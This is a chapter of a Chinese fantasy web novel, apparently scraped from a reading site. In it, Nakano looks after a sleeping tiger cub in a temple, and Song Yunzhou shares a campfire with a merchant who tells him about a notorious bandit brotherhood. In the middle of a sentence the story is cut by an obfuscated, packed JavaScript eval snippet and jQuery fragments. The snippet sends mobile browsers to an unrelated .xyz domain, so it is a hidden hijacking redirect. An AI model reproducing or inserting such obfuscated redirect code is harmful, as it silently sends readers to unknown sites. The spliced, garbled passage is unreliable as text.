40.第 40 章

作品:《圣神果园临时工

    神殿午间日照充足,静谧之中山明水秀,万物都笼罩在一片暖融的朦胧白光下。


    纳卡诺怀抱着昏迷不醒的虎崽走入黑雾,来到他的房间。


    虎崽身上哪里有什么残存的魔法,不过是赫狄弥斯的灵魂与意识相融,暂时离开了这具躯壳。只留皮囊,自然不会再有呼吸和心跳。


    纳卡诺刚一走进客厅,一小团自由飘浮在半空中的光球马上迎了过来,凑近他臂弯里的虎崽细看。


    “原来是变成了一只小老虎啊,我说怎么站不起来呢。”清朗悦耳的年轻男声从光点中传出,略显兴奋地同纳卡诺闲聊,“毛茸茸的,你看它多可爱。”


    闪耀着金色光芒的光球如小火苗般跃动,形态无定地变幻着,在纳卡诺眼前晃来晃去。


    纳卡诺瞥了它一眼,轻哼一声:“烦人精。”


    话音中并非厌烦,更像是长辈对小孩子含着宠溺的无奈吐槽。


    小光球里透出一两声了然的轻笑,继续围着虎崽转悠,看到黑黄白三色交错间有一抹别样的色彩,好奇询问道:“哎,它脖子上那是什么……”


    小光球话未说完,被突然涌现出的黑雾遮挡了视线。纳卡诺故意避开它,把毫无知觉的虎崽放到了他的床头。


    虎崽脖子上的东西一晃而过,小光球没看清,等纳卡诺再出现到它眼前时,臂弯里已空空如也。


    小光球的注意力转到纳卡诺身上,担忧地再一次劝说道:“你真的不打算逃吗?这一次的异变比先前的所有次加起来都要严重,太危险了。”


    纳卡诺并不在意地随口道:“大人还轮不到小孩子来保护,少操心。”


    小光球觉得这话说得不对,认真反驳道:“现在可是你看起来比我年纪小了。”


    纳卡诺幽幽地看向小光球,无声甩过一个警告的眼刀。


    小光球往后缩得离纳卡诺远了点儿,理智让步道:“好吧好吧,还是你看起来更老。”


    纳卡诺走到桌边倒了一杯水,杯子刚送到嘴边,就听小光球又问:“那个人是谁呀?我的灵魂拟态好像一直跟在他身边,将醒未醒的时候看见的都是他。”


    纳卡诺的动作顿了一下,才抬高手臂让水流入口中,恍若未闻般没有回答。


    小光球离不开这个房间,只能在这有限的空间里飞来飞去,环绕音效在纳卡诺周身展开:“你把虎崽抱过来,他同意了吗?为什么他没有跟来?我还想见见他呢。你把我的事跟他说了吗?要是让他知道虎崽会说话,他是不是会被吓一大跳?”


    可能是在圣坛沉睡太久,小光球找不到人说话,无聊透顶,现在终于找到了可靠的听众,几年来攒下的话一股脑地蜂拥而出。


    只不过,它所说的内容,听众并不是很想听。


    见纳卡诺不回答,小光球自己飞到窗边,紧贴着窗玻璃往下看,降愿台上空荡荡的。


    小光球紧贴着玻璃来回移动,变换着观察角度,寻找宋云州的身影。它像一块闪闪发光的小抹布一样在玻璃上擦来擦去,发出“咯吱咯吱”的摩擦动静。


    宋云州当然不在这里,小光球从窗边退开一点,锲而不舍地向纳卡诺追问:“他干什么去了?什么时候才能回来?”


    小光球实在太想见到宋云州,它话音和动作里的期待仿佛都要化作实体,满溢出来。


    纳卡诺毫不怀疑如果解除魔法禁制,这家伙能一路追到伦达奥城去。


    由于和玻璃贴得过于紧密,小光球的一面被压成扁平状,过了好一会儿才慢慢圆润回来。


    纳卡诺实在看不下去,果断提醒道:“你累了。”


    小光球已经又贴回到玻璃上,头也不回地疑惑否认:“嗯?没有啊。”


    纳卡诺接着道:“你困了。”


    小光球的目光仍在神殿四处搜寻,确信地否认:“不可能,我刚醒。”


    不管小光球自己怎么说,一缕黑雾拦腰缠住它,强行将它拖离了窗边。


    小光球还想挣扎着往窗边飞,纳卡诺拿出家长的威严,不容置疑道:“不困也给我回去睡觉。”


    缠住小光球的黑雾崩散,纳卡诺将赫狄弥斯的灵魂与意识再次分离。


    圣神的意识被赶回了圣坛,灵魂自然重新回到了虎崽的身体里。


    卧室床上,布瑞德的肚皮开始随着呼吸起伏,慢慢睁开了双眼。


    布瑞德没在一睁眼时就看到宋云州,以为宋云州躺在另一侧,下意识翻了个身,却仍没有找到他。


    布瑞德猛地睁大好看的杏仁眼,支起身体卧在床上,清醒过来。它惊觉身处在一个完全陌生的环境里,所有熟悉的布置、味道,都和宋云州一起消失了。


    布瑞德一下子着了急,扯着嗓子嗷嗷叫着从床上跳到地下,冲出卧室,扑腾着四条小短腿,在偌大的房间里左奔右突,寻找回到宋云州身边的路。


    布瑞德希望用叫声引来宋云州的注意,同时它沿着墙根嗅闻搜寻,站起来扑打,想要找到一扇可以出去的门。


    纳卡诺起初并不理布瑞德,觉得它叫累了自己就停了。他的房间里不存在普遍意义上连通外界的“门”,一点不担心一不注意虎崽会偷跑出去。


    没想到等了半天,布瑞德越叫越起劲,嗓子都喊哑了居然还在继续叫。


    持续不断的噪音让纳卡诺的耳膜都开始隐隐作痛,他实在忍受不了,一挥手用魔力让虎崽暂且睡去。


    布瑞德正扬起两只前爪扑打柜门,动作突然一滞,眼睛缓慢地眨了两下,便失力般倚靠着柜门滑落,闭上眼倒在了地上。


    黑雾将它托起,送回柔软的大床上。


    纳卡诺跟在黑雾后面走进卧室,看黑雾把虎崽轻轻放回床上安顿好。


    阳光穿过落地窗,洒满整张床铺,虎崽皮毛鲜亮的颜色在阳光的照耀下越发浓郁,仿佛散发着比太阳更胜的暖意。


    纳卡诺看着看着,侧身在床边坐下,拢近虎崽,两只手捏了捏虎崽软乎乎的脸颊,轻轻上提,拉扯出一个笑脸,让虎崽用“微笑”补偿了他刚才遭受的贯耳魔音。


    纳卡诺看着虎崽搞怪的表情,也露出了一个浅淡的微笑。只是这笑意尚未来得及加深,纳卡诺又想到了什么,微扬的唇角倏然回落。


    纳卡诺松了手,把虎崽抱进怀里。他转正身体,面朝落地窗外的山景,一下接一下地缓缓抚摸着虎崽的脊背。


    纳卡诺坐在稍显刺目的阳光里,微眯起眼,静静地望向远处。


    “她离开神殿了,你不拦吗?”


    一道苍老的声音响起,拉回纳卡诺飞远的神思。


    纳卡诺转头看去,白袍老者不知何时出现在卧室门口,端立着。


    兰缇娅早晨和纳卡诺吵过之后,回屋里拿了剑,就直接去后山骑马离开了。


    纳卡诺无所谓地说:“兰缇娅的能力足以自保,该小心的是不慎撞见她的倒霉鬼。”


    老者面无表情道:“你知道我问的不是这个。”


    纳卡诺静了静,再开口时同样面无表情:“她赶不上的,改变不了任何事。”


    老者得到了想要的答案,略一颔首,转言道:“你的胆子未免也太大了,那两枚古银币上的焚身凶咒除你、圣神与萨里希之外,再无人可直接触碰而不死。你就真敢那么交到他手里,不怕他也被烧死吗?”


    “事实证明,他确非常人。”纳卡诺并没有多余的表示,仿佛他递给宋云州的只是一颗无害的苹果。


    老者有些担忧:“劫火一起,萨里希一定会来。万一,他被萨里希说动,选了那一边……”


    “既然预言将有这场劫火,躲不过,那就让它烧。”纳卡诺倒是十分决绝,“如果真遇上萨里希……”


    纳卡诺的话音也是一顿。


    “不必太过担心。”老者安慰纳卡诺,也是在让自己放宽心,“天命,终究归于神殿。”


    纳卡诺不吃这一套虚头巴脑的,他只信奉能切实握在掌中的力量。


    “他会回来的。”纳卡诺极其肯定地说。


    老者睁不开眼睛,脸上的神情无法准确表达心境,但纳卡诺很清楚他现在是震惊且疑惑的。


    纳卡诺轻轻眨了一下眼,看向沉睡在他怀中的布瑞德,声音轻淡——


    “为了它。”


    ***


    入夜,临近山道的一处缓坡上。


    宋云州和中年男人一同倚靠在一截倒地的朽木上,身前燃着一簇篝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192459|180420||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    火,分食中年男人携带的干粮。


    中年男人是一定要回家的,比起自己到处乱碰,宋云州还是决定和他一起去伦达奥城碰碰运气。


    一路走来,宋云州大致摸清了中年男人的情况。


    中年男人名叫海勒姆,自幼生长在伦达奥城中,继承父母的活计,以贩卖蔬果为生。他和妻子从邻近的村子上收购农家自种的蔬果,运回伦达奥城以稍高的价格卖出,赚取差价。勤勤恳恳工作的收入还算可观,妻子病逝后就由他一人抚养女儿。


    许是这人和庄稼作物打了一辈子交道,宋云州从他的言谈话语感觉得出他的淳朴和实在。


    宋云州本想延续他那套“投奔亲戚”的说辞,谁知海勒姆被魔法吓到后,根本就没敢再问他的事情。


    这样似乎也不错。


    宋云州安静吃着海勒姆拿给他的烤饼,自顾自地想。


    海勒姆几口吃完饼,拿出水袋正要喝,想起身边的宋云州,立刻把水袋递给他先喝。


    宋云州道了谢,接过来喝了几口。


    海勒姆看着宋云州喝水,突然想到什么,没头没尾地叮嘱道:“往后你得小心留神,他们吃了大亏,一定会回来报复的。”


    宋云州把水袋递还给他,顺带想了想,奇怪道:“他们?打劫的不止他们两个人吗?”


    海勒姆接过水袋,顾不上喝,神情严肃地对宋云州道:“何止是两个人,说两百个人都少。他们都是戈多尔芬兄弟盟会的人。”


    宋云州没想到那劫匪竟然还有组织,起了探究的欲望:“那个兄弟盟会是什么?你怎么知道今日打劫的是他们的人?”


    海勒姆一路上都在思考能和宋云州闲聊的话题,奈何觉得哪个都不好,此时好不容易看宋云州流露出想听的意图,他立刻竹筒倒豆子似的说出他知道的所有信息。


    海勒姆道:“戈多尔芬兄弟盟会是这片大陆上最臭名昭著的劫匪团伙,杀人劫掠,无恶不作,流窜在五个王国境内。他们宣称什么‘只要有人的地方,都会遭到他们的洗劫’,好多人都说只有神明所在的悬铃森林,那种进去几个死几个的地方,才没有他们的足迹。


    “那个骑马的年轻男人腰带上,别着一枚圆形的铜扣,上面刻的徽记是断了一只角的山羊头骨,这就是戈多尔芬兄弟盟会的标志物。


    “其实现在倒还好了,戈多尔芬兄弟盟会的人收敛了不少。前些年战乱的时候,他们就像杀不净的蝗虫一样四处蔓延。他们最鼎盛的那阵,纠集起来一帮恶徒,一个村子一个村子地抢,一个镇子一个镇子地杀,所过之处几乎没有任何活口。不止是赶路的货商,几乎到了人人自危的程度,甚至连不少没有自保能力的小贵族都被灭了门。还有很多游手好闲的恶棍,冒充他们的旗号大行劫掠。”


    海勒姆光说着都觉齿寒,拿水当酒喝了一口。


    宋云州不解道:“他们这样恶劣的行径,王室没有派兵讨伐吗?”


    海勒姆摇摇头,略带愤恨地冷嘲道:“不抢到他们头上,谁会真去管?轻飘飘的一句‘派兵围剿、会处理’,强逼百姓们砸锅卖铁捐军资。最后钱全落进了他们的口袋,没人真去搜捕戈多尔芬兄弟盟会的人,只是杀掉几个无辜流民,挂起他们的头颅安抚民心。”


    宋云州沉默地盯着跃动的火苗,似有一口气梗在心口,不知道该说什么。


    海勒姆絮絮说起戈多尔芬兄弟盟会做过的其他恶事,这些都是他去村庄里收果蔬时,从路过的其他商人那里听来的。


    他自己说得热火朝天,半天没再听到宋云州的声音。


    海勒姆看向身侧,发现宋云州不知什么时候睡着了。


    海勒姆止了话音,静静地观察宋云州,看着温暖的火光映上年轻人白净的面庞,冷峭山风吹动他乌黑的额发,将宋云州整个人衬得有些单薄和冷清。


    海勒姆的目光不由自主地,落在宋云州一直握在手里的古银币上。


    海勒姆蹑手蹑脚地站起身,避免吵醒宋云州,摸着黑走回停在山道边的货车旁,窸窸窣窣地在他的行囊里翻找着什么。


    片刻后,海勒姆又轻手轻脚地靠近宋云州,展开他唯一一条厚实的毯子,轻轻盖在了宋云州身上。